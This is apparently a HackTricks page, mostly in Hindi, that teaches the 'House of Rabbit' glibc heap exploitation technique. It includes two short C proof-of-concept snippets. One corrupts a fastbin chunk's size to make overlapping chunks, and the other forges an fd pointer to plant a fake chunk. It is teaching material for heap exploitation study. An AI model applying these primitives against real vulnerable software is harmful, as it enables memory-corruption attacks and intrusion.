House of Rabbit

हैकट्रिक्स का समर्थन करें

आवश्यकताएँ

  1. फास्ट बिन एफडी पॉइंटर या साइज़ को संशोधित करने की क्षमता: इसका मतलब है कि आप फास्टबिन में एक चंक के फॉरवर्ड पॉइंटर या उसका साइज़ बदल सकते हैं।

  2. malloc_consolidate को ट्रिगर करने की क्षमता: इसे बड़े चंक को आवंटित करके या शीर्ष चंक को मर्ज करके किया जा सकता है, जिससे हीप को चंक को समेटने के लिए मजबूर किया जाता है।

लक्ष्य

  1. ओवरलैपिंग चंक बनाएं: एक चंक को दूसरे के साथ ओवरलैप करने के लिए, जिससे और हीप मेनिपुलेशन की अनुमति हो।

  2. फर्जी चंक बनाएं: एक फर्जी चंक को एक वैध चंक के रूप में देखने के लिए एलोकेटर को धोखा देने के लिए।

हमले के चरण

POC 1: एक फास्ट बिन चंक का साइज़ संशोधित करें

उद्देश्य: एक ओवरलैपिंग चंक बनाएं, जिसे फास्टबिन चंक के साइज़ को मानिपुलेट करके किया जाता है।

  • चरण 1: चंक आवंटित करें

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • कदम 2: चंक्स को मुक्त करें

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • चरण 3: चंक का आकार संशोधित करें

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • चरण 4: malloc_consolidate को ट्रिगर करें

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

एक बड़े चंक को आवंटित करने से malloc_consolidate फ़ंक्शन को ट्रिगर होता है, जिसमें फास्ट बिन में छोटे चंक को मर्ज किया जाता है। chunk1 का मनिपुलेटेड साइज़ chunk2 के साथ ओवरलैप होने का कारण बनता है।

कंसोलिडेशन के बाद, chunk1 chunk2 के साथ ओवरलैप होता है, जिससे आगे की उत्पीड़न की जा सकती है।

POC 2: fd पॉइंटर को संशोधित करें

उद्देश्य: फास्ट बिन fd पॉइंटर को मनिपुलेट करके एक नकली चंक बनाएं।

  • चरण 1: चंक्स का आवंटन करें

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

स्पष्टीकरण: हम दो चंक आवंटित करते हैं, एक छोटा और एक बड़ा, ताकि हैप को फेक चंक के लिए सेट किया जा सके।

  • चरण 2: फेक चंक बनाएं

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • कदम 3: chunk1 को मुक्त करें

free(chunk1);  // Frees the chunk at 0x602000

स्पष्टीकरण: हम chunk1 को मुक्त करते हैं, जिसे त्वरित बिन सूची में जोड़ दिया जाता है।

  • चरण 4: chunk1 के fd को संशोधित करें

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

स्पष्टीकरण: हम chunk1 के फॉरवर्ड पॉइंटर (fd) को हमारे फर्जी चंक की ओर पहुंचाने के लिए बदलते हैं chunk2 के अंदर।

  • चरण 5: malloc_consolidate को ट्रिगर करें

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Allocating a large chunk again triggers malloc_consolidate, which processes the fake chunk.

The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.

सारांश

House of Rabbit तकनीक में या तो एक फास्ट बिन चंक का आकार संशोधित करके ओवरलैपिंग चंक बनाने या fd पॉइंटर को मोडिफाई करके फेक चंक बनाने का समर्थन करता है। यह हमलावरों को हीप में वैध चंक बनाने की अनुमति देता है, जिससे विभिन्न प्रकार के शोषण संभावित होते हैं। इन चरणों को समझना और अभ्यास करना आपके हीप शोषण कौशल को बढ़ाएगा।

हैकट्रिक्स का समर्थन करें

Last updated